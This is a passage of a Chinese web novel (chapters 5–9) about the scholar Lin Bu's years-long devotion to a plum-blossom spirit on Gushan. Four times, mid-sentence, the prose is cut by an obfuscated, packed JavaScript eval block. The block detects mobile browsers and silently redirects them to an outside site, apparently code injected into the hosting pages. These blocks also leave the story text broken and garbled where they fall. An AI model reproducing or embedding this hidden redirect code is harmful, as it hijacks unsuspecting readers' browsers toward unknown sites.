嘈杂的声音将林逋从梦中惊醒,睁眼一看才恍觉已是夕阳照晚,倦鸟归林。 “姐姐,我怎么睡着了?”他靠在一棵树上,揉了揉眼睛迷迷糊糊的问身前的少女。 少女背对着他,衣裙之下的身体几乎消失大半,只是有衣服的遮挡,加上光线有些昏暗才没叫林逋发现。 “醒了?你的家人来找你了,快回去吧。记住,不要与别人说见过我的事。” 她救林逋是因为对方的呼救将她从沉眠中惊醒,对方又只是个幼崽,才难得发了好心,可并不意味着她对人族有什么好感。 这些年,人族到处砍伐树木,猎杀动物,这样的场面她见了不知多少。何况,人族不止对异类如此,就是对同类也一样心狠,有时手段残忍的叫妖怪都胆寒。她可不想和他们打交道,平白给自己找麻烦。 要不是这孩子心思纯净,又实在能哭,她救了他就该离开。至于会不会说漏嘴,孩童之言,大人们不会当真的。再说,孤山梅花遍地,又有她先前设下的迷阵,谁又能找得到她? 对林逋嘱咐完,少女勉力维持的身体再也撑不住,在他面前骤然碎作无数的光点消散于林中。 如满树繁花,于悄无声息间霎那凋零,徒留下一片空寂。 只有空中残留的淡淡香气和手中盛放的梅花证明之前发生的一切不是林逋做的一场梦。 “姐姐……你走了吗?我还没有与你道别呢。” 林逋怅然若失。 少女说的话,聪慧的林逋怎么会不明白其中意思。他当然会保护好这个秘密,不会叫旁人伤害她。 “姐姐,你等我!我一定还会再来的!还有,我叫林逋,姐姐,你别忘了我!” 他朝着少女消失的方向喊道。 等远方传来的呼唤声离他越来越近,林逋打量了下身上,然后将梅花小心放到干净的石头上,整个人卧在雪地里来回滚了几圈,将衣衫整洁的自己又弄成一个小脏包。 见没有什么破绽,他才撩起衣摆,用干净的里衣擦了擦手,拿起了梅花,扶着一旁的树木小心站了起来,才大声呼喊:“阿兄,我在这里!” 连续喊了几声,就听到远处有人高声回应:“十一郎,你就在原地别动,我们马上过来!” 是表兄的声音。 “好!” 很快,一群人争先跑了过来,为首的正是表兄。 表哥看到他狼狈的样子,急得不得了,连忙揽住他问道:“十一郎,你这是怎么了,怎么弄成这样?可有哪里受伤了?” 林逋一边护住梅花,一边回道:“阿兄,对不起,我趁你不注意偷喝了酒,结果喝醉跑出来迷路了,又一不小心摔了一脚,崴了脚,所以才一直没能回去。给你们添麻烦了,都是我的错。” 说完,他内疚的垂下头。 “你小子!” 听完前因后果,表兄狠狠揉了一把他的头,“我们还以为你丢了,你吓死我了知不知道!看下次还敢不敢偷喝酒了?” “再也不敢了,真的很对不起!”林逋诚恳道歉。 他也知道自己这次真的闯祸了。 看他态度端正,小小一个少年狼狈的模样又实在可怜,表兄的朋友们哪怕找人找的一肚子火,此刻也不由劝说起了表兄:“六郎,算了算了,孩子还小,知道错了就好。这次也怪我们,喝得醉醺醺的,没注意十一郎跑远了,还好最后人平安找到了。” 本来也没有多生气,有了朋友们递过来的台阶,表兄顺势就接下了:“看在大家的面子上这回就饶了你,下次可不要再犯啊。” 说完,他扶着林逋对着帮忙找人的友人们好一阵道谢,然后弯下腰,背着他一行人就下山了。 路上,表兄看着林逋抱住他脖子的手上一直紧握不放的梅花,好奇的问道:“这梅花你是在哪摘的,颜色这般漂亮,可真是少见。” 林逋趴在他身上,紧了紧手,小声回道:“不记得了,当时胡乱走的,又迷了路,也不知在哪摘的,现在怕是找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268153|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到了。” “这样啊,我还想着摘几枝回去给祖母插瓶呢。”表兄也没起疑,只长叹了一声:“这回把你弄丢,又让你受了伤,回去祖母非捶死我不可。” “阿兄,对不起,都是我的错,回去后我会同外祖母说的。”林逋闷声道歉,不过始终没有提出将梅花送给他。 一是这梅花神异,拿到手绝对能发现它的不凡之处;二是,这是姐姐送给他的,他实在不舍得。 “嗨,怎么又道歉,说来也是我喝酒误事,让你遭了罪。你要是真过意不去,回头给我好好求情,饶了我这一顿打就是了。” 表兄本来只是随口一说,看林逋这么宝贝的样子,也没想过要他手里的梅花。 “嗯,我一定会的。要是他们打你,我给你拦着。” “十一郎,阿兄真是没白疼你!这回吓坏了吧?冷不冷?回去阿兄给你买点热乎的吃。” 兄弟二人就这样一路亲热的回了家。 只可惜,表兄的如意算盘最终还是白打了。 回去后,林逋叫大夫看了伤,没想到伤的还不轻,骨头都错位了,表哥这顿打自然没有逃过,被训得哭爹喊娘。 彼时不得不卧床养伤的林逋是有心无力,要不是他伤的重,估计自身都难保。 也因为这次受伤,家里把他管得很严,之后几年他一直没能再去西湖孤山。直到十八岁那年,他才终于说服家人,许他出门游历。 第一站,他就兴冲冲来了西湖。 仍是初春的时节,故地重游,西湖的一切好像都没变;孤山霁雪,梅花遍地,仍旧还是那么美。 他循着记忆里的方向,在走错七八回后,终于找到了那片林子,也找到了当初掉下去的洞。可无论他怎么找,怎么叫,红衫的好心仙子都不曾出来。 那年发生的事情就像少年做的一场奇幻的梦一样,梦一醒,就再也见不到了。 可林逋知道,那不是梦。 “姐姐,这么多年我都没来,你是不是怪我失约了?” 6. 第 6 章 褪去了少时的青涩,如竹般挺拔的少年郎失魂落魄的坐在他曾坐过的石头上,仓皇张望,像只无家可归的兽,“姐姐,我不是故意这么久才来见你,答应你的事我一直记得。你看!” 说着,他解开身后的包袱,从里面掏出一只精致的木盒。黑漆的盒盖上描着一枝孤傲的红梅,仔细一看,与当年少女送他的那枝梅花一模一样。 他的指尖从梅花上拂过,然后打开了盒盖,首先映入眼帘的是一枝枯瘦的干花。虽然姿态甚美,但黯淡的色彩叫人看了难免道一声可惜。 他拿起花枝,下面是一沓折叠的整整齐齐的纸,隐约能看见写得密密麻麻的字。 “姐姐,这是你送我的梅花,我一直好好保存着。我不舍得它就这么谢了,所以特地将它做成干花,只是过了这么多年,再怎么小心保管,颜色还是褪色了很多。还有这些,这些都是我搜罗的好玩的地方和故事,我怕忘了就全都记下来、画下来了,画的像极了,你出来看一看好不好?” 他指着盒里的东西一一介绍,盼望着那位红衣的仙子能听见他的呼唤。 然而他失望了,从早上等到天黑,少女一直不曾出现。 “可能是姐姐有事,没关系,我明天再来。”林逋落寞的收拾好东西,安慰自己道。 他也只能这样安慰自己,姐姐真要不愿出来,他又能怎么办呢?为今之计,只有一个字:等。 可是一连数日,他都是期待而来,失落而归。 等到第七天,林逋已走遍了附近所有的地方,每见一棵红梅,都要问一句姐姐,是你吗”,可却从来没有得到一次回应;那些梅花开得很漂亮,但都不是他心心念念的那一株。 “姐姐,你到底在哪儿啊?” 这已经是最后一株红梅了,可姐姐始终不曾回应。他与姐姐之间,主动权一直在姐姐身上,难道,他与她的缘分就那么浅?以后他再也见不到她了吗? 不,林逋不甘心,也不愿接受。 他八年没有见到姐姐了,这八年来,他只能在记忆里一遍一遍的想着,念着,描摹着她的模样,小心的守着那个承诺,一直等着相见的那一天。 许是初见太过美好,也或许是时间久了,生了执念,不知从何时起,那道惊艳了他整个少年时光的红色身影,成了他午夜梦回时可望而不可即的存在。 在那些光怪陆离的绮丽梦境中,他亵渎了一直仰慕的仙子。 他将她揽在怀里,做尽人间极乐事。 缠绵交织的衣衫,堆雪一样的肌肤,还有破碎不成调的低泣…… 从初次醒来时的慌张与自我厌弃,到后面的坦然面对乃至不自觉沉沦,他对姐姐的心思再也无法回到曾经的纯洁无暇。 可是现在,别说表明心意了,他连姐姐的面都见不到。 姐姐啊姐姐,到底怎样我才能再见到你? 待林逋又一次垂头丧气的离开,红衫少女翩然现身。她看着他离去的方向,轻声吐出两个字:“小傻子。” 不过,已经这么多天了,再傻的人也该放弃了吧。 时隔八年,林逋个子长高了,模样也有了变化,但少女还是第一时间就认出了他。 毕竟,他随身携带的梅花,多少年了她也就送出去过这一回。 “没想到他还真回来了。” 自林逋走后就继续沉睡的少女被梅枝熟悉的气息惊醒,待见到长大后的青年,才恍觉时间已经过了这么久。 少年眨着亮晶晶的眼睛向她保证的模样好似才发生在昨日,一觉醒来,已是物是人非。 “原来你已经长大了啊。” 少女感叹,再一次明晰人与妖之间无法横越的巨大岁月鸿沟。 林逋的到来确实叫人意外,不过她并不打算见他。 八年前的那次相识只是一场意外,人与妖,本就不该有牵扯,纠缠过深,对双方都没有好处。 “走吧,以后不要再来了,这里不是你该来的地方。” 可惜了,这小家伙讲的故事还挺有趣,她还真有点儿想看看那个盒子里写了、画了什么。 分明置身于明媚的春光中,一身红衫的少女眉目却越发清寂。 只是少女到底低估了林逋的执着,也不知道初开情窦的少年郎为了见到心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268154|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上人能做到什么地步。 在意识到少女不愿意见他后,第二日再来,林逋决定等不到人他就不回去了。 他有预感,如果这一次放弃了,余生怕是再也见不到姐姐了。 于是,他就这样从晨光微熹,等到金乌西沉,再等到月上枝头。如少时那般蜷缩在冰冷的石头上,抱着那枝梅花,执着的等一个或许不会再来的妖。 清冷的月光驱走了白日最后一丝余热,寒气一点点从脚心往身上蔓延,林逋冻得脸色发青,牙齿只打寒颤,却仍旧一动不动,如同一尊石像。 不知何时起,天上落起了雪花,飘到他脸上,身上,从一触即化,到白了眉,花了发。 “姐……姐姐,我……好冷啊……” 冻得快失去意识的他喃喃叫着少女的名字,衣袖里是那枝枯萎的干花,被小心保护着,没有淋到一片雪花。 只是,脱离本体太久,早已失去效力的它无法像从前一样给他带来温暖了。 “混账东西!你莫不是想冻死!” 气急败坏的声音从耳畔响起,熟悉的梅香将他一点点笼住,令他如坠梦中。 恍惚间,有谁的指尖轻轻碰上了他的额头。一刹那,冰雪消融,让人贪恋的暖意扩散至全身。 是她来了! 冻得迟钝的脑子里闪过这句话,还不待理解什么意思,他下意识的一把握住对方来不及收回的手。 感受到手里实实在在的重量,林逋艰难的睁开眼,露出一个僵硬的笑,冰雪融化的水珠从脸上一滴滴落下,叫人分不清是水还是泪。 “骂的好,我是混账。我用自己的命来威胁姐姐,赌姐姐的心软。可是姐姐,你还是来了,你看,终究是我赌赢了!” 这么多年过去了,姐姐,你怎么还是这么心软啊,这叫我如何能不喜欢你。 一边想着,林逋一边拉过她的手,在少女惊讶震怒的目光中缓缓在手背落下一吻,随即眼一闭,一头栽倒在她怀里昏死过去。 不管了,牡丹花下死,做鬼也风流。 他就是被姐姐打死,也要变成鬼缠着她,死也不放手。 7. 第 7 章 所谓口嗨一时爽,事后火葬场。 林逋再次醒来,已是天光大亮。 在少女薄怒的视线下,林逋很快回想起昨夜脑子不清醒时做出的一系列混账事,又缓缓闭上了眼。 “混账东西,醒了就别装死!”少女清冷的声线中夹着一丝咬牙切齿。 亏她还以为这是个傻子,觉得有些歉疚。结果呢,原来她才是那个傻的,昨天简直被耍得团团转。 人类果真狡诈,再单纯的幼崽长大了也是一个阴险的大人。 少女恨恨想道。 “姐姐,我错了!” 林逋睁开眼,一边道歉,一边朝少女讨好的笑了笑,像只温驯的大犬,围着主人不住打转。 少女却不吃他这一套,面若寒霜,骂道:“你真是好得很呐,长大了,敢威胁人了。我就不该管你,让你冻死算了!” “虽然姐姐嘴里这样说,但我知道,姐姐你是不会不管我的。我长大了,可姐姐还和以前一样,仍是那个心软又善良的仙子。” 林逋靠在树上,仰头笑道。 早晨的阳光透过树木的缝隙,跃入他的眼中,像是在虹膜上熔了一层暖金。 以俗世的标准来衡量,长大后的林逋绝对是一个再标致不过的美男子,如芝兰如玉树。难得的是他姿容既好,神情亦佳,一举一动,光风霁月,无不令人赏心悦目。 可惜,少女是个生长在深山老林里的妖怪,向来不吃人类审美那一套。 论美色,异类化成的人形足以称得上得天独厚。本身就有着一张姝丽绝伦的脸,使得她对人类标榜的美丑早已无感,都只是一张皮囊而已。 可这会儿,看着眼前的林逋,她好像有那么点理解了。 飞扬肆意的笑容冲淡了林逋容貌带来的书卷气,即使眼下形容有些狼狈,也无损他的俊美,更显出几分落拓不羁来。 整个人既有古时侠客的快意江湖,又有魏晋名士的洒脱从容。 她带着点欣赏的瞧着这张脸,像是在看一朵盛开的花儿,一棵繁茂的树,语气不自觉缓和下来:“讨打是吧,你知不知道,再晚一点,你就真的死了。” “那也是我自作自受,与姐姐毫不相干。” 林逋话里一句一个“姐姐”,语气一次比一次缱绻,眼神更是柔得能滴出水来。 少女不理解这样的感情,也不明白他们只是见了一次面,相处不过短短时间,他为何这样执着,连命都不要了。 “不过是小时候的玩笑话,何必当真?” “怎么能说是玩笑呢?姐姐,我对你说的每一句话,都是认真的,从不是玩笑。如果是因为那时年纪小,说的话你不相信,那我现在可以再说一遍,我还可以对天起誓。” 说着,举起右手,当场就要立誓,“我发誓,我……” “好了!不用说了!我相信还不成。” 少女被他这说起誓就起誓的样子惊到了,连忙打断。 这死孩子,誓也是能随便发的吗?何况她还是修行之人,对着她起誓,是真的有因果的。 这些年到底发生了什么,叫他从天真软萌的崽子长成这副模样,总感觉有种不顾所有人死活的疯感。 “姐姐这样说,分明就是不信。” 林逋小声嘟囔,对没发成誓感到有些可惜,但在少女威胁的眼神中还是顺从的停下了。 “好了,既然你已经醒了,手还不放开?” 少女晃了晃右手,一截雪白的腕子被林逋骨节分明的大掌牢牢扣住,像是锁链一样怎么也挣不开。 也不知他哪来的力气,昨天明明都已经晕过去了,抓住她手腕的手还这么用力。更叫她气笑不得的是,她一挣扎对方就哭唧唧的,嘴里还喊着什么“姐姐你别不要我”,硬生生把她喊心软了,只得由他抓了一晚上。 林逋下意识摩挲了一下掌心细腻柔软的肌肤,脸“轰”的一下红了,连忙松开。 “对……对不起,姐姐,是我没……没注意,没有捏疼你吧?” 他磕磕绊绊的向少女道歉,小心打量着对方的神色。接触到她平静无波的眼神时,失落的垂下眼帘。 姐姐还真是一点也不在意啊。 少女不动声色的将手笼进衣袖,遮住手腕泛青的指痕,淡淡道:“无妨。” 她确实没有在意,只当他和小时候一样害怕她又走了而已。 “咕噜……” 肚子的轰鸣声在安静的环境里分外明显,少女瞥了他一眼:“饿了便回去吃饭。” “不用了,我带了吃的。”林逋先是不好意思,但听到少女明显赶人的话连忙从随身的包袱里翻出一袋干粮,看得少女眼皮一跳。 “你带了吃的,那昨天为何不吃?” 回应她的是林逋含蓄的笑。 少女明白了,好啊,又是苦肉计是吧! “还不快回去,这东西冻成这样,你咬得动吗?” “我带了火折子,再找些枯枝落叶,生个火烤一烤就软了。还有洗漱的东西,我也都带了,不用回去也无妨。”野外生存经验丰富的林逋补充道。 “回去!我魂体无法离开本体太久,就是你不走,我也得走了。”少女一忍再忍,终是忍无可忍。 “那姐姐,你可以带我一起走吗?” “你!” “姐姐,我好怕,我怕回来了又见不到你了。你知不知道,这么多年,我一直想着来见你,可你一点也不想我,我等你真的等了好久好久。” 林逋大着胆子,抓住少女落在裙侧的披帛,轻轻晃了晃,撒娇道:“姐姐,就算要走,也带我一起走,好不好?” 好在他有一副好皮囊,俊秀的青年做出这般姿态不仅不显猥琐,反到真有几分俏皮可爱。在敏锐的察觉到少女经常落在他脸上的视线后,林逋还颇有心机的调整好姿势,露出好看的眉眼。 “这么大了,你以为你还是小孩吗?” 话虽如此,但少女的态度明显还是松动了。尤其是在听到那句“等了好久”时,更是冒出了一丝心虚。 说到底,这件事她也有错。 “回去我就要修炼了,你若不嫌无聊,便来吧。” 原先还因着少年已经长大,不再是天真无邪的孩童而生出的几丝防备之心被这一闹是一点也不剩了。 这家伙确实不是个坏人,但他是个疯的,连命都敢拿出来赌,少女也是真的怕了他了。 “怎么会无聊,能待在姐姐身边我就很高兴了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268155|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见目的达成,林逋连忙收拾好东西,将不知何时被少女放在一边的梅枝妥善放回盒子里。 少女看了一眼盒子里的东西,眼里闪过一丝动容。 “跟紧。” 说完,她走在前面,林逋亦步亦趋的跟着她。七拐八拐之后,也不知怎么走的,突然就到了一片陌生的地方。 遥遥望去,只见一片怒放的梅花。 一根根虬劲有力、黑褐苍古的枝干上一簇簇琼苞堆雪。如果不是时有暗香浮动,怕是真的会被人误以为是不久前下过一场雪,而此时正是雪满枝头。 林逋只觉自己呼吸都带着梅花的香气。 随着他们的走近,在一众清白脱俗,欺霜赛雪的梅花中,唯一一株红梅就显得格外惹眼。 只见两人合抱粗的梅树傲立其中,每一根枝丫都尽情吐露着芬芳,其花红艳如翡,其姿凛然若松。 何其的美丽! 强烈的惊艳感如它的颜色一般咄咄逼人,不讲道理的兜头扑来,使得林逋呼吸一窒。 林逋一眼就认出这是少女的真身,因为上面的花朵与她送给他的那支梅花如出一辙。只是任他千百次想象少女的真身,直到站在她眼前,才知道有的花,真的可以美得超出人的想象。 或许只有少女,才能开出如此美丽的花。 瓌姿艳逸,灼目惊心。 他想,他此生再也不可能再见到比她更美的梅花了。 林逋情不自禁的上前,轻轻抚上一支开得正好的花枝,随后俯首一嗅。 转头对她笑道:“姐姐,你真好看。” 男子风拂玉树般的笑容与红艳璀璨的花枝遥相辉映,正可谓花美,人也美。 “你也好看。” 这句话少女差点脱口而出,好在及时反应过来险险止住。 “咳,你就待在这里吧,我先回去了。” 说完,不待林逋回复,身体就化作一抹流光飞入梅树。 “姐姐真可爱。” 似是听见他的话,他身后的梅花晃了晃枝头,“咻”地一声砸在他头上,花瓣三两片落下,好似在发泄不满。 林逋拾起衣领的花瓣,举手讨饶道:“是我说错话了,姐姐大人有大量,原谅我这一回吧。” 见他道歉,梅树这才没了动静。 林逋低低笑了。 他忽然想起昨夜那个吻,自打醒来后他们双方都没有提及这件事,纷纷不约而同的忽略了它。 独居深山的花妖少女是根本不知道含义,当时生气只是因为觉得被冒犯了;而林逋是不敢。 有些事,意识不清时敢做,清醒时就有所顾忌了。 他怕说出来姐姐会恼了他,从此再也不肯见他。 姐姐啊姐姐,你是世外仙姝,遗世独立,可我这个凡夫俗子偏偏自不量力,妄想够一够这仙葩。 你不通情爱,无妨,我会以你喜欢的模样待在你身边,让你一点点熟悉我,接受我。 就像如今这样,哪怕姐姐目前只是有点喜欢他的脸。可现在能看上他的脸,以后就能看上他整个人。 追求喜欢的娘子,使使美人计又怎么了,男子汉大丈夫,不寒碜。 姐姐—— 我们来日方长。 8. 第 8 章 就这样,林逋凭着一张好看的脸和缠人的功夫顺利的留了下来,每日早来晚归。 要不是少女不许,他甚至想要在梅林附近搭个屋子,晚上也不走了。 虽然少女每天出现的时间不长,可只要能待在她身边林逋就已经很满足了。 她现身时,他就就着这些年积累的书画,对她一点点讲述那个陌生又热闹的人间。 众生百态,各地风俗,那些林逋遇见或听说的一件又一件或平凡普通或离奇古怪的事情,经他道来格外的吸引人。 在他的口中,山川是那样可爱,风景是那样迷人,旅途中遇见的各色各样的人群是那样有趣,就连天边飘来的一朵白云,在他天马行空的想象里也能化作奔腾的骏马,摇曳的鲜花,行驶的小船…… 她不出现时,他或诵读诗书,或抚琴吹笛。有时累了,就伏在少女的本体上,絮絮说些日常小事。 他知道,她能听见。 就这样,他们的关系一日比一日亲密,他仍旧唤她“姐姐”,少女却叫他亲近之人才会唤的“十一郎”。 “十一郎”,多么好听啊!每听见一次,他的心跳就加速一回。 孤山的生活是那么快乐,这里只有他们两人,他们朝夕相对,对林逋来说,就如同做了夫妻一般。 只可惜少女每年只许他留一个月,说他太吵了,打扰她修炼。 “你便每年这个时候来吧,正好梅花都开了,你不是很喜欢它们吗?”少女这样对他说。 一个月后,梅花就要开始凋谢了,天气也慢慢暖和起来,正是适合出门远游的时节。 每每听林逋说起外面的世界,少女都能感受到他心中对山水的那份热爱,无论什么原因,他都不该停下他的脚步。 困在这里的人,有她一个便够了。 林逋总是拒绝不了少女的。 因此,一月之期一过,他只能依依不舍的与她道别,重新踏上了旅程,连着少女的那一份,追寻他向往的山与水。 待来年梅花盛开之时,再去寻故人。 他们就这样默契的一期一会,不管接下来的一年他会去哪些地方,第一站必是西湖孤山。 如今,又过了一个八年。 虽然仍未抱得美人归,可是他得偿所愿的有了个小小的木屋,就在梅林不远处,走几步路就到了,也算是某种意义上的登堂入室了吧。 忆起往事,林逋不由会心一笑。 再看一眼观音山的这片梅林,他大步离开。 他可不能在这里耽误太多时间,接下来他还要去迷楼遗址,去观音山顶,去好多好多的地方,然后将它们的故事带回去,说与心上人听。 ------------------------------------- 大概是山上的那株红梅让他想起了姐姐,晚上躺在借宿的人家的床上,林逋翻来覆去怎么也睡不着,一闭眼就是满目的灼灼艳色。 他打开放在床头的木盒,从里面捧出那枝红艳的梅花。 如今,它已经完全恢复了曾经盛开时的动人姿态,不再是那副干枯的模样。那是姐姐看他格外喜欢它的缘故,特地施法令其枯木逢春,自此常开不败。 他实在爱极了它,于是便走到哪就要将它带到哪。 每每熟悉的香气从盒中透出来,他就觉得姐姐就在他身边。 “江南无所有,聊赠一枝春。【1】” 林逋念着南北朝诗人陆凯的诗,只觉这一句同他和姐姐很是相宜。 这枝春天是他得到的最好的礼物。 辗转反侧半宿,林逋最后还是披衣下床。 点上灯,他先是喝了一口冷茶,压下心中沸腾的思绪。然后卷起袖角磨起墨来。 白皙修长的手指夹起黑色的墨块,重按轻转,先慢后快,动作不疾不徐,一举一动风骨自成。 在农家昏黄的灯光下,林逋未束的长发散落下来,给他清隽的眉眼平添几许暧昧柔和。少了几分白日里潇洒恣意的他,整个人如同一尊上好的暖玉。 待磨出一砚好墨,他提笔饱蘸墨汁,一气呵成,眨眼就在白纸上落了一首咏梅的小词,清新雅致,情意动人。 只能说,文人的一支笔啊,尖锐起来比刀锋还冷硬,柔情起来又比春风还要痴缠,丝丝缕缕,叫人爱也不是,恼也不是。 待写好,他将词小声反复吟读数遍,却觉得哪哪都不甚如意,想改却又不知从何改起。故反复提笔数次,还是一笔不曾落下,最后只能皱着眉将毛笔搁回笔架。 看了看放着梅花的木盒里红色的短笺,林逋想了想,还是没有拿出来。 “写得不好。” 不必誊上去了。 毕竟他自己都不满意,还是不要给姐姐看了吧。 说起盒中的短笺,这事说来还有个缘由。 由于每年只能在少女身边待一个月,生怕少女忘了他的林逋便想了一个主意。 他买来许多红色短笺,装进木盒里随身带着。旅途中一旦去过什么新鲜的地方或是遇到什么有趣的事儿,就用极细的笔将它们一一记下来,或诗词,或游记,配上一幅幅精致的插图。 如果篇幅较长,便分作章节拆开写,结尾处偏还故意留个钩子,让人看了欲罢不能。 待来年与少女离别,林逋会将满盒短笺都用红绳系在少女的枝头,让她闲事可以时时翻看。毕竟一年的游历实在有太多话说,仅仅只有一个月哪里说的完。 这样少女不但不会无聊,每当她看见满树的红笺时,也会想起远方的他。 这事说来只是他的一点小心机,没想到反而给了林逋不小的惊喜:有时候少女兴致上来,就会在背面写上几句评语。 她虽然跟着林逋才涉诗书没几年,但有过目不忘之能,加之心思灵巧,才情甚佳,堪称一块未经雕琢的璞玉。故而品评鉴赏的水平很高,每每都有独特的见解让林逋眼前一亮。 虽然有时有些毒舌,不过林逋却也不生气。 一是这是姐姐留下的,他爱还来不及呢;二是姐姐的这才哪到哪啊,比这更辛辣的点评他不知见过多少。 都说文人相轻,不说别人,就是再好的朋友一旦在文学上较起真来,别说激/情对骂了,没撸袖子干架就算好的了。不过吵完、打完,大家仍旧还是好朋友。 许是文字更能触摸人的心灵,借着这些或长或短的句子,他们交流的越发深入。 二人亦师亦友,越发契合。 从此,少女在他心中,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268156|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅是恋慕之人,也是知己。 林逋叹了口气,将写着词的纸放到烛灯上点燃,随后扔进一旁的茶碗里。 “最美的梅花,合该配最好的词。这首词,还是不够好。” 时光飞逝,眨眼又到了年关。 与往年一样,林逋这个新年过得很是热闹。 虽说他少时父母就已相继去世,家中只有他和兄弟几人,亲戚也不多,不过他交友广泛,加之四处游历,故而结交的友人大江南北哪里都有。 一到新年,来自各地的书信年礼不断。再加上这又是一年中难得闲暇的时间,那些离得近些的好友更是亲自上门拜访。毕竟平日里林逋行踪不定,他们连个影子都难见到,现下好容易他回了家了,哪能轻易放他离去,还不得好好“亲香亲香”。 林逋见了这些久别重逢的好友,自然也很高兴。 于是,在亲朋好友的盛情难却下,他就这样过了一个多姿多彩的新年:今日不是这个下帖子要品茗赏雪,围棋垂钓,明儿个就是那个相邀去踏青游园,登山远眺。 如果推脱不去,得,山不就我,我就去就山,三五个一起来组团给他拜年,就不信林逋不给开门。 只能说不愧是文人,除了文章写得好以外,玩也能玩出朵花来。除开新年的各种庙会、灯会,像什么投壶、鼓琴、品香、斗茶,打马球,行酒令,蹴鞠雅集,真是样样不重复。 亲朋好友们盛情难却,为此,今年林逋去杭州的日子一拖再拖。 眼看着都快阳春三月了,还是迟迟不能动身,所以他玩乐时总是频频失神,看起来魂不守舍的。他的异样这样明显,他的兄长也过问过几次,可都被他搪塞过去了。 而此时的杭州孤山,他心心念念的人可巧也在思念着他。 “梅花都要谢了,十一郎怎么还没来,是有什么事耽搁了吗?” 说这话时,少女正坐在本体的一根枝桠上,曳长的裙摆自然垂下,在风中轻盈的像一片花瓣。 忽然,她微微倾着身子向前探去,素白的食指勾起了离自己最近的短笺,看着上面被施了法术,所以即使经过数月的风吹日晒仍和当初挂上时一样干净清晰的字迹出神。 “自从他来了,每天叽叽喳喳的,比雀儿还烦人。走了也留下这些东西,把我这里当什么了,我还偏偏纵着他。真是昏了头了!” 往常这时候林逋早就来了,如今他迟迟没来,少女才恍觉她对他的到来原来是这样期待。 究竟是什么时候她把他看得这么重,好像已经成了她生活中的一部分呢? 少女不知道,但有时她真想问问林逋他们到底谁才是妖,怎么会有人比妖怪还要会蛊惑。 好像一对上他,她总会不自觉的退让,让他得寸进尺。 她轻轻叹了口气。 人妖殊途,应当各行其道才是。 他们这样,也不知是好,是坏。 可是,真的不让他来,她扪心自问,舍得吗? 享受过热闹的欢愉,她就更加不愿回归以前寂寞的日子。 罢了,就让她最后放纵一回吧。 少女从缀满花朵的枝头一跃而下,模仿着林逋以前的动作,阖上眼睛斜靠在梅树上,似乎要枕着融融春光就此睡去。 9. 第 9 章 在江南秀丽的庭院里,三个风姿各异的男子坐在铺了一层厚密草席的长廊上,一边悠闲的晒着太阳,一边品酒赏园。 时不时徐徐和风拂过,带来阵阵花香,人也因此被熏得昏昏欲睡,恨不能就此醉倒在这慵慵春日里。 又是一阵风来,吹落杏花如雪乱,淋得刚好坐在树下的林逋拂了一身还满。 眼看杏花拂之不尽,他也不恼,索性随它们去。只端着飘了两三片雪白花瓣的杯盏怔怔出神,不知在想什么,然后又仰头和着杏花将杯中美酒一饮而下。 这酒他喝的又快又急,有几滴透明的酒液从绯色的唇瓣和碧色的杯口间溢出,沿着脖颈那段优美的曲线一路向下,隐入衣领深处不见。 如斯美人美景,怎不叫看了的人赞一句:陌上谁家年少,足风流。【1】 可惜,这里没有那位“妾拟将身嫁与,一生休【2】”的多情少女,只有两个不解风情的大老爷们。 面对这样堪称活色生香的一幕,坐在中间的锦衣公子却开始煞风景了。 “我说君复,这可是我好不容易才求京中的叔父从和乐楼、玉仙楼带回来的琼浆、玉液,这般名酒,不说细品,你这没滋没味像喝白水一样是怎么回事?” 在说到“好不容易”这几个字时他还特意加重了语气,以示对林逋这般牛嚼牡丹的举动的谴责。 “咳——”坐在他身侧的好友低声咳嗽了一声,示意他适可而止。 也不知是谁死皮赖脸主动拎着酒上门,不顾主人家的冷脸硬是要拉着他品酒,没见着人家不乐意吗,再多说几句,只怕他也要受牵连一道被赶出去了。 想起方才开门时林逋那句“怎么又是你”,他就忍不住用酒杯掩唇一笑,这个“又”字用的可谓是相当灵性了。 由此可见,某人来的到底有多频繁。 